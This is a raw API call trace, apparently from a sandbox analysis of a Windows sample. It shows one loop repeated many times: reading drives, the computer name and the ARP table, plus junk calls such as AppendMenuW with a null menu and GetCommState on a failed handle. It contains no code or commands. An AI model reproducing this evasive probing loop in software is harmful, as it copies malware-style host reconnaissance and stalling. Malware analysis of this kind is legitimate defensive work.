	[0050.170] GetLogicalDrives () returned 0x4
	[0050.170] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.170] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b6ca0
	[0050.170] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.170] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.170] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.170] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bddb0
	[0050.170] GetIpNetTable (in: IpNetTable=0x30bddb0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bddb0, SizePointer=0xf3d4ac) returned 0x0
	[0050.171] AppendMenuW (hMenu=0x0, uFlags=0x80191a5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.171] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.171] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.171] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.171] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.171] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.171] SetErrorMode (uMode=0x1) returned 0x1
	[0050.171] GetLogicalDrives () returned 0x4
	[0050.171] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.171] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b74a8
	[0050.171] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.171] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.171] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.171] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bd1a8
	[0050.171] GetIpNetTable (in: IpNetTable=0x30bd1a8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bd1a8, SizePointer=0xf3d4ac) returned 0x0
	[0050.172] AppendMenuW (hMenu=0x0, uFlags=0x8019f4e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.172] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.172] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.172] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.172] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.172] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.172] SetErrorMode (uMode=0x1) returned 0x1
	[0050.172] GetLogicalDrives () returned 0x4
	[0050.172] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.172] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30b8cc0
	[0050.172] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.172] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.173] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.173] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bda40
	[0050.173] GetIpNetTable (in: IpNetTable=0x30bda40, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bda40, SizePointer=0xf3d4ac) returned 0x0
	[0050.173] AppendMenuW (hMenu=0x0, uFlags=0x801af69c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.173] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.173] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.173] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.173] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.174] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.174] SetErrorMode (uMode=0x1) returned 0x1
	[0050.174] GetLogicalDrives () returned 0x4
	[0050.174] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.174] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c14b0
	[0050.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.174] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.174] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.174] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be2d8
	[0050.174] GetIpNetTable (in: IpNetTable=0x30be2d8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be2d8, SizePointer=0xf3d4ac) returned 0x0
	[0050.175] AppendMenuW (hMenu=0x0, uFlags=0x801bd128, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.175] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.175] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.175] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.175] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.175] SetErrorMode (uMode=0x1) returned 0x1
	[0050.175] GetLogicalDrives () returned 0x4
	[0050.175] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.175] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c44e0
	[0050.175] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.175] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.175] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.175] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bdf68
	[0050.175] GetIpNetTable (in: IpNetTable=0x30bdf68, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bdf68, SizePointer=0xf3d4ac) returned 0x0
	[0050.176] AppendMenuW (hMenu=0x0, uFlags=0x801cd2dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.176] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.176] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.176] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.176] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.176] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.176] SetErrorMode (uMode=0x1) returned 0x1
	[0050.176] GetLogicalDrives () returned 0x4
	[0050.176] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.176] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c1cb8
	[0050.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.176] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.176] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.177] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bcff0
	[0050.177] GetIpNetTable (in: IpNetTable=0x30bcff0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bcff0, SizePointer=0xf3d4ac) returned 0x0
	[0050.177] AppendMenuW (hMenu=0x0, uFlags=0x801dad68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.177] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.177] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.177] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.177] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.178] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.178] SetErrorMode (uMode=0x1) returned 0x1
	[0050.178] GetLogicalDrives () returned 0x4
	[0050.178] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.178] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c0ca8
	[0050.178] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.178] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.178] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.178] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bd888
	[0050.178] GetIpNetTable (in: IpNetTable=0x30bd888, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bd888, SizePointer=0xf3d4ac) returned 0x0
	[0050.179] AppendMenuW (hMenu=0x0, uFlags=0x801daf1c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.179] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.179] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.179] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.179] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.179] SetErrorMode (uMode=0x1) returned 0x1
	[0050.179] GetLogicalDrives () returned 0x4
	[0050.179] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.179] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c34d0
	[0050.179] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.179] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.179] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.179] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be490
	[0050.179] GetIpNetTable (in: IpNetTable=0x30be490, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be490, SizePointer=0xf3d4ac) returned 0x0
	[0050.180] AppendMenuW (hMenu=0x0, uFlags=0x801e89a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.180] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.180] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.180] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.180] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.180] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.180] SetErrorMode (uMode=0x1) returned 0x1
	[0050.180] GetLogicalDrives () returned 0x4
	[0050.180] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.180] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c6500
	[0050.180] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.180] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.180] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.224] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bd360
	[0050.224] GetIpNetTable (in: IpNetTable=0x30bd360, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bd360, SizePointer=0xf3d4ac) returned 0x0
	[0050.225] AppendMenuW (hMenu=0x0, uFlags=0x801f8b5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.225] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.225] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.225] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.225] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.225] SetErrorMode (uMode=0x1) returned 0x1
	[0050.225] GetLogicalDrives () returned 0x4
	[0050.225] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.225] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c54f0
	[0050.225] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.225] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.225] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.225] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bd6d0
	[0050.225] GetIpNetTable (in: IpNetTable=0x30bd6d0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bd6d0, SizePointer=0xf3d4ac) returned 0x0
	[0050.226] AppendMenuW (hMenu=0x0, uFlags=0x802065e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.226] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.226] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.226] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.226] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.226] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.226] SetErrorMode (uMode=0x1) returned 0x1
	[0050.226] GetLogicalDrives () returned 0x4
	[0050.226] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.226] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c4ce8
	[0050.226] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.227] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.227] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.227] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bdbf8
	[0050.227] GetIpNetTable (in: IpNetTable=0x30bdbf8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bdbf8, SizePointer=0xf3d4ac) returned 0x0
	[0050.227] AppendMenuW (hMenu=0x0, uFlags=0x8021679c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.227] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.227] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.228] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.228] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.228] SetErrorMode (uMode=0x1) returned 0x1
	[0050.228] GetLogicalDrives () returned 0x4
	[0050.228] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.228] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30bec88
	[0050.228] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.228] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.228] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.228] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be648
	[0050.228] GetIpNetTable (in: IpNetTable=0x30be648, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be648, SizePointer=0xf3d4ac) returned 0x0
	[0050.229] AppendMenuW (hMenu=0x0, uFlags=0x80224228, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.229] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.229] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.229] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.229] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.229] SetErrorMode (uMode=0x1) returned 0x1
	[0050.229] GetLogicalDrives () returned 0x4
	[0050.229] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.229] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30bf490
	[0050.229] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.229] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.229] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.229] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be800
	[0050.229] GetIpNetTable (in: IpNetTable=0x30be800, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be800, SizePointer=0xf3d4ac) returned 0x0
	[0050.230] AppendMenuW (hMenu=0x0, uFlags=0x802343dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.230] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.230] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.230] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.230] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.230] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.230] SetErrorMode (uMode=0x1) returned 0x1
	[0050.230] GetLogicalDrives () returned 0x4
	[0050.230] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.230] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c5cf8
	[0050.230] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.230] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
